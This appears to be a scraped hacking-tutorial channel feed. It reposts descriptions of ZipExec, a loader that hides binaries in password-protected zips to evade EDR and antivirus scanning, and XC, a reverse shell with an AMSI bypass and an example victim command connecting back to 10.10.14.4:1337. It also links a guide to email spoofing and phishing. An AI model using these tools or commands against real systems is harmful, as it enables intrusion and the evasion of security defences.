Hacking Articles Tips Tricks Videos Tutorials

Kali Linux Tutorials
ZipExec : A Unique Technique To Execute Binaries From A Password Protected Zip

ZipExec is a Proof-of-Concept (POC) tool to wrap binary-based tools into a password-protected zip file. This zip file is then base64 encoded into a string that is rebuilt on disk. This encoded string is then loaded into a JScript file that when executed, would rebuild the password-protected zip file on disk and execute it. This is done programmatically by using COM objects to access the GUI-based functions in Windows via the generated JScript loader, executing the loader inside the password-protected zip without having to unzip it first. By password protecting the zip file, it protects the binary from EDRs and disk-based or anti-malware scanning mechanisms.

Installation

The first step as always is to clone the repo. Before you compile ZipExec you’ll need to install the dependencies. To install them, run following commands:

go get github.com/yeka/zip

Then build it

go build ZipExec.go

or

go get github.com/Tylous/ZipExec

Help

./ZipExec -h
_.
____ /||_ / _ _
/ / | _ | )\ \/ // _/ \ / / | | |> > > <\/\ __
/ |_| / //_ \__ >___ >
\/ |__| \/ \/ \/ \/
(@Tyl0us)
Usage of ./ZipExec:
-I string
Path to the file containing binary to zip.
-O string
Name of output file (e.g. loader.js)
-sandbox
Enables sandbox evasion using IsDomainedJoined.
Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials

ZipExec : A Unique Technique To Execute Binaries

ZipExec is a Proof-of-Concept (POC) tool to wrap binary-based tools into a password-protected zip file. This zip file is then base64 encoded.

8 viewsedited 17:18

Hacking Articles Tips Tricks Videos Tutorials

Photo

Kali Linux Tutorials
XC : A Small Reverse Shell For Linux And Windows

XC is a Netcat like reverse shell for Linux & Windows.

Features

Windows

Usage:
└ Shared Commands: !exit
!upload

* uploads a file to the target
!download
* downloads a file from the target
!lfwd
* local portforwarding (like ssh -L)
!rfwd
* remote portforwarding (like ssh -R)
!lsfwd
* lists active forwards
!rmfwd
* removes forward by index
!plugins
* lists available plugins
!plugin
* execute a plugin
!spawn
* spawns another client on the specified port
!shell
* runs /bin/sh
!runas
* restart xc with the specified user
!met
* connects to a x64/meterpreter/reverse_tcp listener └ OS Specific Commands: !powershell
* starts powershell with AMSI Bypass
!rc
* connects to a local bind shell and restarts this client over it
!runasps
* restart xc with the specified user using powershell
!vulns
* checks for common vulnerabilities
*
Linux

Usage:
└ Shared Commands: !exit
!upload

* uploads a file to the target
!download
* downloads a file from the target
!lfwd
* local portforwarding (like ssh -L)
!rfwd
* remote portforwarding (like ssh -R)
!lsfwd
* lists active forwards
!rmfwd
* removes forward by index
!plugins
* lists available plugins
!plugin
* execute a plugin
!spawn
* spawns another client on the specified port
!shell
* runs /bin/sh
!runas
* restart xc with the specified user
!met
* connects to a x64/meterpreter/reverse_tcp listener
└ OS Specific Commands:
!ssh
* starts sshd with the configured keys on the specified port
*

Examples

* Linux Attacker: rlwrap xc -l -p 1337(Server)
* WindowsVictim : xc.exe 10.10.14.4 1337(Client)
* Argumentless: xc_10.10.14.4_1337.exe(Client)

Setup

Make sure you are running golang version 1.15+, older versions will not compile. I tested it on ubuntu: go version go1.16.2 linux/amd64and kali go version go1.15.9 linux/amd64

git clone –recurse-submodules https://github.com/xct/xc.git
GO111MODULE=off go get golang.org/x/sys/…
GO111MODULE=off go get golang.org/x/text/encoding/unicode
GO111MODULE=off go get github.com/hashicorp/yamux
sudo apt-get install rlwrap upx

Linux

python3 build.py
Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials

XC : A Small Reverse Shell For Linux And Windows

XC is a Netcat like reverse shell for Linux & Windows. Features Windows Usage: └ Shared Commands: !exit !upload

12 viewsedited 17:18

Hacking Articles Tips Tricks Videos Tutorials

How to spoof e-mails. (DMARC, SPF, and Phishing)
https://popalltheshells.medium.com/how-to-spoof-e-mails-dmarc-spf-and-phishing-5184c10679a0?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Medium

How to spoof e-mails. (DMARC, SPF, and Phishing)

Note: sanitization of these screenshots was performed to protect the identities of stakeholders involved.

13 viewsedited 17:48

Hacking Articles Tips Tricks Videos Tutorials

11 views17:48